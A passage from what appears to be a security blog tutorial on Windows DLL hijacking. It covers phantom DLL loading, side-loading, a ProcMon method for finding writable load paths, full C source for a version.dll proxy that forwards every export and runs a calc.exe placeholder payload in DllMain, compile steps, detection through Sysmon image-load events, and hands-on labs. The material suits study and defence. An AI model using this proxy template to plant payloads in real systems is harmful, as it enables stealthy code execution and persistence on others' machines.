&lt;p&gt;Then, attackers will plant a malicious DLL with the non-existent DLL’s filename in its expected location.&lt;/p&gt;

&lt;p&gt;A familiar example of this technique is the abuse of the &lt;strong&gt;Windows Search (WSearch) Service.&lt;/strong&gt; &lt;br&gt;
This service is responsible for search operations and it launches with SYSTEM privileges upon system startup.(Historical)&lt;/p&gt;

&lt;p&gt;When this service starts, it executes &lt;code&gt;SearchIndexer.exe&lt;/code&gt; and &lt;code&gt;SearchProtocolHost.exe&lt;/code&gt;, which both attempt to load &lt;code&gt;msfte.dll&lt;/code&gt; from S*ystem32* . In default Windows installations, the file does not exist in this location.&lt;/p&gt;

&lt;p&gt;An adversary can plant their malicious DLL if they can write to the System32 folder or an alternate DLL search order location, or insert another attacker-controlled location into the PATH environment variable.&lt;/p&gt;

&lt;p&gt;This allows them to gain a stealthy pathway for execution with &lt;code&gt;SYSTEM&lt;/code&gt; privileges, and a means to maintain persistence on the machine.&lt;/p&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;DLL Side-Loading&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;In this most commonly used DLL-hijacking technique, an attacker obtains a legitimate executable that loads a specifically named DLL without specifying the DLL file's full directory path. &lt;/p&gt;

&lt;p&gt;DLL side-loading uses a malicious DLL renamed to the same filename of a legitimate DLL, one normally used by a legitimate executable. &lt;/p&gt;

&lt;p&gt;Attackers drop the legitimate executable and a malicious, renamed DLL within a directory they have access to.&lt;/p&gt;

&lt;p&gt;In DLL side-loading, the attackers rely on the fact that the executable’s directory is one of the first locations Windows searches for.&lt;/p&gt;
&lt;h3&gt;
  
  
  Finding Candidates with ProcMon — The Methodology
&lt;/h3&gt;

&lt;p&gt;Knowing the three variants is theory. ProcMon is where theory becomes a target list.&lt;/p&gt;

&lt;p&gt;Process Monitor captures every filesystem operation a process makes in real time — including every DLL load attempt, successful or not. The ones that &lt;em&gt;fail&lt;/em&gt; are your attack surface.&lt;/p&gt;

&lt;p&gt;A failed DLL load means Windows looked for something, didn't find it, and moved on. That's your opening.&lt;/p&gt;
&lt;h4&gt;
  
  
  Setting Up the Filter
&lt;/h4&gt;

&lt;p&gt;Open ProcMon and set these two filters before launching your target application:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Result    is    NAME NOT FOUND
Path      ends with    .dll
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This cuts through the noise. You're left with only the DLL requests that the loader made and got nothing back for. &lt;/p&gt;

&lt;p&gt;Every single line in that filtered output is a location where Windows expected a DLL and found empty space.&lt;/p&gt;

&lt;p&gt;Now launch your target application with ProcMon running.&lt;/p&gt;

&lt;h4&gt;
  
  
  Reading the Output
&lt;/h4&gt;

&lt;p&gt;Each line in ProcMon tells you three things:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Process Name    →    which executable made the request
Path            →    full path Windows searched
Result          →    NAME NOT FOUND
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;strong&gt;Path column is what matters&lt;/strong&gt;. It tells you exactly where the loader looked. Cross-reference that path with two questions:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Is this location writable by a non-admin user?&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="nb"&gt;icacls&lt;/span&gt; &lt;span class="s2"&gt;"C:\Path\To\Directory"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look for &lt;code&gt;(W)&lt;/code&gt; or &lt;code&gt;(F)&lt;/code&gt; next to any non-admin group — &lt;code&gt;BUILTIN\Users&lt;/code&gt;, &lt;code&gt;Everyone&lt;/code&gt;, &lt;code&gt;INTERACTIVE&lt;/code&gt;. If it's there, you can drop a file there without elevation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Does a legitimate version of this DLL exist elsewhere on the system?&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="nb"&gt;where&lt;/span&gt; &lt;span class="na"&gt;/R &lt;/span&gt;&lt;span class="kd"&gt;C&lt;/span&gt;:\Windows &lt;span class="kd"&gt;version&lt;/span&gt;.dll
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If it exists in System32 but the app searched its own directory first and got &lt;code&gt;NAME NOT FOUND&lt;/code&gt; — that's a &lt;strong&gt;Search Order Hijacking&lt;/strong&gt; candidate. The real DLL exists, but the app checked a writable location before finding it.&lt;/p&gt;

&lt;p&gt;If the DLL doesn't exist &lt;em&gt;anywhere&lt;/em&gt; on the system — that's a &lt;strong&gt;Phantom DLL&lt;/strong&gt; candidate. Nothing to compete with. You're filling a void.&lt;/p&gt;

&lt;h4&gt;
  
  
  Identifying Side-Loading Candidates
&lt;/h4&gt;

&lt;p&gt;Side-loading candidates don't always show up as &lt;code&gt;NAME NOT FOUND&lt;/code&gt;. Sometimes the application successfully loads a DLL — but from a location you can influence.&lt;/p&gt;

&lt;p&gt;Add a second filter alongside your existing ones:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Operation    is    Load Image
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now look for DLLs loading from the application's own directory. If that directory has weak ACLs and the DLL being loaded isn't in KnownDLLs — you have a side-loading candidate. The app is already loading from a controllable location. You just need to replace what's there with a proxy.&lt;/p&gt;

&lt;h4&gt;
  
  
  Turning a Finding into a Confirmed Target
&lt;/h4&gt;

&lt;p&gt;Not every &lt;code&gt;NAME NOT FOUND&lt;/code&gt; result is exploitable. Before you build a DLL, confirm three things:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The directory is writable:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="nb"&gt;icacls&lt;/span&gt; &lt;span class="s2"&gt;"C:\Program Files\TargetApp\"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The DLL name isn't in KnownDLLs:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WinObj → \KnownDLLs → check if the name appears
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The application actually uses the DLL in a meaningful code path&lt;/strong&gt; — not just at startup and never again. A DLL loaded once at launch and then ignored means your payload executes once. A DLL loaded repeatedly means repeated execution opportunities.&lt;/p&gt;

&lt;p&gt;Once all three are confirmed, you have a legitimate target. The next step is building something that loads into it without breaking the application — which is where the proxy DLL comes in.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Proxy DLL — Don't Break What You're Hijacking
&lt;/h3&gt;

&lt;p&gt;Finding a candidate is half the work. The other half is making sure your DLL doesn't crash the application the moment it loads.&lt;/p&gt;

&lt;p&gt;Here's the problem most people run into on their first attempt.&lt;/p&gt;

&lt;p&gt;You found a candidate. Some application tries to load &lt;code&gt;version.dll&lt;/code&gt; from its own directory. That directory is writable. &lt;code&gt;version.dll&lt;/code&gt; isn't in KnownDLLs. You compile a basic DLL that runs your payload in &lt;code&gt;DllMain&lt;/code&gt;, name it &lt;code&gt;version.dll&lt;/code&gt;, drop it in the directory, and launch the application.&lt;/p&gt;

&lt;p&gt;Two things can happen:&lt;/p&gt;

&lt;p&gt;Application loads → payload executes → application keeps running. &lt;/p&gt;

&lt;p&gt;Application loads → payload executes → application immediately crashes. &lt;/p&gt;

&lt;p&gt;Scenario B happens more often than you'd expect. And a crashed application is a problem — not because it's a technical failure, but because a crashed application is &lt;strong&gt;noise&lt;/strong&gt;. The user notices. On a real engagement, that's the one thing you can't afford.&lt;/p&gt;

&lt;p&gt;So why does it crash?&lt;/p&gt;

&lt;h4&gt;
  
  
  The Export Table Problem
&lt;/h4&gt;

&lt;p&gt;When an application loads a DLL, it doesn't just load it and move on. It calls specific &lt;strong&gt;exported functions&lt;/strong&gt; from that DLL throughout its lifetime.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;version.dll&lt;/code&gt; is the Windows Version API library. Applications use it to check file version information. Functions like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;&lt;span class="n"&gt;GetFileVersionInfoA&lt;/span&gt;
&lt;span class="n"&gt;GetFileVersionInfoSizeW&lt;/span&gt;
&lt;span class="n"&gt;VerQueryValueA&lt;/span&gt;
&lt;span class="n"&gt;VerQueryValueW&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the application calls &lt;code&gt;LoadLibrary("version.dll")&lt;/code&gt;, Windows loads your DLL. Fine. But then at some point, the application calls &lt;code&gt;GetFileVersionInfoSize()&lt;/code&gt;. It looks for that function in the loaded &lt;code&gt;version.dll&lt;/code&gt; — which is your DLL. Your DLL doesn't export it. Windows returns &lt;code&gt;NULL&lt;/code&gt;. The application tries to call a &lt;code&gt;NULL&lt;/code&gt; function pointer.&lt;/p&gt;

&lt;p&gt;That's your crash.&lt;/p&gt;

&lt;p&gt;Every DLL has an &lt;strong&gt;export table&lt;/strong&gt; — a list of functions it makes available to any process that loads it. You can see it with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="kd"&gt;dumpbin&lt;/span&gt; &lt;span class="na"&gt;/exports &lt;/span&gt;&lt;span class="kd"&gt;C&lt;/span&gt;:\Windows\System32\version.dll
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ordinal  name
      1  GetFileVersionInfoA
      2  GetFileVersionInfoByHandle
      3  GetFileVersionInfoExA
      4  GetFileVersionInfoExW
      5  GetFileVersionInfoSizeA
      6  GetFileVersionInfoSizeW
      9  GetFileVersionInfoW
     16  VerQueryValueA
     17  VerQueryValueW
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every function in that output is something the application might call. If your DLL doesn't export them, any call to them crashes the application.&lt;/p&gt;

&lt;p&gt;This is the exact problem a &lt;strong&gt;proxy DLL&lt;/strong&gt; solves.&lt;/p&gt;

&lt;h4&gt;
  
  
  What a Proxy DLL Actually Does
&lt;/h4&gt;

&lt;p&gt;Your DLL needs to satisfy two requirements at the same time:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Execute your payload&lt;/li&gt;
&lt;li&gt;Export every function the application expects — and make those functions actually work&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The proxy pattern handles both. Your DLL intercepts the load, runs your payload, and then &lt;strong&gt;forwards&lt;/strong&gt; every function call transparently to the real DLL in System32.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Application calls GetFileVersionInfoA()
        ↓
Your version.dll (proxy)
  → DllMain fires → your payload executes
  → GetFileVersionInfoA() forwarded to real version.dll
        ↓
C:\Windows\System32\version.dll
        ↓
Returns valid result to application
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The application called &lt;code&gt;GetFileVersionInfoA&lt;/code&gt;, got a valid result, and kept running. Your payload already executed silently before any of that happened. The application never noticed anything changed.&lt;/p&gt;

&lt;h4&gt;
  
  
  DllMain — Where Your Code Lives
&lt;/h4&gt;

&lt;p&gt;Every DLL has a &lt;code&gt;DllMain&lt;/code&gt; function. This is the entry point the Windows loader calls automatically the moment your DLL is mapped into the process. You don't trigger it — Windows does.&lt;/p&gt;

&lt;p&gt;c&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;BOOL&lt;/span&gt; &lt;span class="n"&gt;APIENTRY&lt;/span&gt; &lt;span class="nf"&gt;DllMain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HMODULE&lt;/span&gt; &lt;span class="n"&gt;hModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="n"&gt;dwReason&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;LPVOID&lt;/span&gt; &lt;span class="n"&gt;lpReserved&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dwReason&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;DLL_PROCESS_ATTACH&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// your payload runs here&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;DLL_PROCESS_ATTACH&lt;/code&gt; fires exactly once — the instant the loader maps your DLL into the process address space. Before the application gets control back from &lt;code&gt;LoadLibrary&lt;/code&gt;. Before it calls a single exported function.&lt;/p&gt;

&lt;p&gt;The execution order is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Application calls LoadLibrary("version.dll")
        ↓
Loader maps your DLL into process memory
        ↓
Loader calls DllMain(DLL_PROCESS_ATTACH) ← your payload runs here
        ↓
LoadLibrary returns handle to your DLL
        ↓
Application calls exported functions on your DLL
        ↓
Your exports forward calls to real version.dll
        ↓
Application gets valid results, keeps running
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You return &lt;code&gt;TRUE&lt;/code&gt; from &lt;code&gt;DllMain&lt;/code&gt;. The loader considers the DLL successfully initialized. Everything continues normally.&lt;/p&gt;

&lt;h4&gt;
  
  
  Export Forwarding — Making the Application Happy
&lt;/h4&gt;

&lt;p&gt;This is the part that makes the proxy work. At the top of your DLL source, before any code, you add pragma linker directives — one per exported function:&lt;/p&gt;

&lt;p&gt;c&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#pragma comment(linker, "/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA,@1")
#pragma comment(linker, "/export:GetFileVersionInfoW=C:\\Windows\\System32\\version.GetFileVersionInfoW,@9")
#pragma comment(linker, "/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA,@16")
&lt;/span&gt;&lt;span class="c1"&gt;// one line for every export in the real DLL&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The format is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/export:YourExportName=RealDLLPath.RealFunctionName,@OrdinalNumber
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What this does: it adds entries to your DLL's export table that don't point to code inside your DLL — they point directly to the corresponding function in the real DLL. Windows resolves these at load time. When the application calls &lt;code&gt;GetFileVersionInfoA&lt;/code&gt; on your DLL, Windows follows the forward pointer straight to the real function in System32.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;@1&lt;/code&gt; at the end is the &lt;strong&gt;ordinal number&lt;/strong&gt; — the numeric identifier for that export. It needs to match the ordinal from the real DLL's export table exactly. Applications that import by ordinal instead of by name will break if this doesn't match.&lt;/p&gt;

&lt;p&gt;Two things that catch people out here:&lt;/p&gt;

&lt;p&gt;The path uses double backslashes in C strings. And the DLL name does &lt;strong&gt;not&lt;/strong&gt; include &lt;code&gt;.dll&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;c&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// correct&lt;/span&gt;
&lt;span class="s"&gt;"C:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;Windows&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;System32&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;version.GetFileVersionInfoA"&lt;/span&gt;

&lt;span class="c1"&gt;// wrong — will not link&lt;/span&gt;
&lt;span class="s"&gt;"C:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;Windows&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;System32&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;version.dll.GetFileVersionInfoA"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The linker already knows it's a DLL. Don't add the extension.&lt;/p&gt;

&lt;h4&gt;
  
  
  The Complete Proxy
&lt;/h4&gt;

&lt;p&gt;Putting it together — a full proxy for &lt;code&gt;version.dll&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;c&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#pragma comment(linker,"/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA,@1")
#pragma comment(linker,"/export:GetFileVersionInfoByHandle=C:\\Windows\\System32\\version.GetFileVersionInfoByHandle,@2")
#pragma comment(linker,"/export:GetFileVersionInfoExA=C:\\Windows\\System32\\version.GetFileVersionInfoExA,@3")
#pragma comment(linker,"/export:GetFileVersionInfoExW=C:\\Windows\\System32\\version.GetFileVersionInfoExW,@4")
#pragma comment(linker,"/export:GetFileVersionInfoSizeA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeA,@5")
#pragma comment(linker,"/export:GetFileVersionInfoSizeExA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExA,@6")
#pragma comment(linker,"/export:GetFileVersionInfoSizeExW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExW,@7")
#pragma comment(linker,"/export:GetFileVersionInfoSizeW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeW,@8")
#pragma comment(linker,"/export:GetFileVersionInfoW=C:\\Windows\\System32\\version.GetFileVersionInfoW,@9")
#pragma comment(linker,"/export:VerFindFileA=C:\\Windows\\System32\\version.VerFindFileA,@10")
#pragma comment(linker,"/export:VerFindFileW=C:\\Windows\\System32\\version.VerFindFileW,@11")
#pragma comment(linker,"/export:VerInstallFileA=C:\\Windows\\System32\\version.VerInstallFileA,@12")
#pragma comment(linker,"/export:VerInstallFileW=C:\\Windows\\System32\\version.VerInstallFileW,@13")
#pragma comment(linker,"/export:VerLanguageNameA=C:\\Windows\\System32\\version.VerLanguageNameA,@14")
#pragma comment(linker,"/export:VerLanguageNameW=C:\\Windows\\System32\\version.VerLanguageNameW,@15")
#pragma comment(linker,"/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA,@16")
#pragma comment(linker,"/export:VerQueryValueW=C:\\Windows\\System32\\version.VerQueryValueW,@17")
&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;Windows.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="n"&gt;BOOL&lt;/span&gt; &lt;span class="n"&gt;APIENTRY&lt;/span&gt; &lt;span class="nf"&gt;DllMain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HMODULE&lt;/span&gt; &lt;span class="n"&gt;hModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="n"&gt;dwReason&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;LPVOID&lt;/span&gt; &lt;span class="n"&gt;lpReserved&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dwReason&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;DLL_PROCESS_ATTACH&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;WinExec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"calc.exe"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SW_HIDE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Compile it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="kd"&gt;cl&lt;/span&gt; &lt;span class="na"&gt;/LD &lt;/span&gt;&lt;span class="kd"&gt;version&lt;/span&gt;.c &lt;span class="na"&gt;/o &lt;/span&gt;&lt;span class="kd"&gt;version&lt;/span&gt;.dll
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Drop it in the hijackable directory. Launch the target. Your payload runs. Application keeps running. Nobody crashes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Detection — What EDRs Actually See
&lt;/h3&gt;

&lt;p&gt;DLL hijacking is stealthy by design. The loader does the loading, a legitimate process does the executing, and your DLL may even be sitting in a location that looks completely reasonable. But it's not invisible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sysmon Event ID 7 — ImageLoad&lt;/strong&gt; is the primary telemetry source. Every DLL load generates this event with the full image path and the signing status of the loaded module. A defender looking at Event 7 can ask two questions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Is this DLL being loaded from a user-writable path?
Is this DLL signed by a trusted publisher?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An unsigned DLL loading from &lt;code&gt;C:\Program Files\SomeApp\version.dll&lt;/code&gt; when &lt;code&gt;version.dll&lt;/code&gt; is a known signed Microsoft binary is a high-confidence signal. &lt;/p&gt;

&lt;p&gt;The combination of path anomaly plus missing signature is what triggers a detection — not either one alone.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What makes search order hijacking and phantom DLL loading detectable:&lt;/strong&gt; the loaded path doesn't match where the legitimate DLL should be. A defender with a baseline of "what DLLs load from where on a clean system" catches this immediately on comparison.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What makes side-loading harder to detect:&lt;/strong&gt; the loading process is a legitimate, signed binary. The DLL path may look reasonable — it's in the same directory as the executable. The parent process is trusted. Without signature verification of the loaded DLL itself, it blends in. &lt;/p&gt;

&lt;p&gt;This is exactly why real APT groups — Lazarus, APT41, and others — rely on side-loading over the other two variants. The legitimacy of the loader provides cover.&lt;/p&gt;

&lt;p&gt;The full detection picture requires correlating three things together:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Load path + signing status + parent process reputation
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Any one of those alone is insufficient. All three together is a reliable signal.&lt;/p&gt;

&lt;h3&gt;
  
  
  Lab — See It Yourself
&lt;/h3&gt;

&lt;p&gt;What you need: ProcMon, Process Hacker, WinObj (Sysinternals), a Windows lab VM&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Lab 1 — Map the KnownDLLs boundary&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Sysinternals WinObj → navigate to \KnownDLLs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Write down every DLL name you see there. These are permanently off-limits for search order hijacking. Everything not on this list is theoretically fair game. This gives you an instant mental filter before you open ProcMon.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Lab 2 — Find phantom DLL candidates with ProcMon&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Set filters:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Result    is    NAME NOT FOUND
Path      ends with    .dll
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Launch any application you have installed — VLC, Notepad++, 7-Zip. Let it fully load. Scroll through the results. For each entry, ask:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="nb"&gt;icacls&lt;/span&gt; &lt;span class="s2"&gt;"C:\path\from\procmon\output"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Any directory showing &lt;code&gt;(W)&lt;/code&gt; or &lt;code&gt;(F)&lt;/code&gt; for &lt;code&gt;BUILTIN\Users&lt;/code&gt; is a writable candidate. Cross-reference the DLL name against your KnownDLLs list from Lab 1.&lt;/p&gt;

&lt;p&gt;What this proves: you can go from zero knowledge to a confirmed hijackable target in under 10 minutes on almost any Windows system with third-party software installed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Lab 3 — Verify a candidate end to end&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Pick one confirmed candidate from Lab 2. Build a minimal DLL that just spawns &lt;code&gt;calc.exe&lt;/code&gt; in &lt;code&gt;DllMain&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;c&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;BOOL&lt;/span&gt; &lt;span class="n"&gt;APIENTRY&lt;/span&gt; &lt;span class="nf"&gt;DllMain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HMODULE&lt;/span&gt; &lt;span class="n"&gt;hModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="n"&gt;reason&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;LPVOID&lt;/span&gt; &lt;span class="n"&gt;lpReserved&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;reason&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;DLL_PROCESS_ATTACH&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;WinExec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"calc.exe"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SW_SHOW&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Drop it in the writable path. Launch the target application. If calc opens — you have confirmed execution.&lt;/p&gt;

&lt;p&gt;Then open Process Hacker, find the target process, go to the Modules tab, and find your DLL in the loaded module list. Note the path and the missing signature field.&lt;/p&gt;

&lt;p&gt;What this proves: the full chain from ProcMon finding to confirmed code execution, exactly as a real engagement would flow.&lt;/p&gt;




&lt;h3&gt;
  
  
  What's Next
&lt;/h3&gt;

